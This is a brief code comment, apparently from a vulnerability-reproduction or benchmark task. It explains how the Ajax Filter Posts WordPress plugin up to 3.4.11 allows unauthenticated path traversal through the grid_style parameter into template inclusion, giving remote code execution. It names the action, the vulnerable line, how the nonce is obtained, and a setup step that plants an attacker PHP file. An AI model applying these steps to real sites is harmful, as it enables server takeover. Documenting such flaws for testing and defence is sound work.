    """
    Ajax Filter Posts <= 3.4.11 nopriv admin-ajax action asr_filter_posts passes argsArray[grid_style]
    (only sanitize_text_field, keeps ../) into get_template_part -> load_template(templates/grid/
    <grid_style>.php) (inc/Shortcode.php:649). A path-traversal grid_style pointing at an attacker
    .php on disk includes and executes it -> RCE. The asr_ajax_nonce is printed globally on any
    front-end page. Prior state: an attacker-controlled .php (setup_state.sh plants one in uploads).
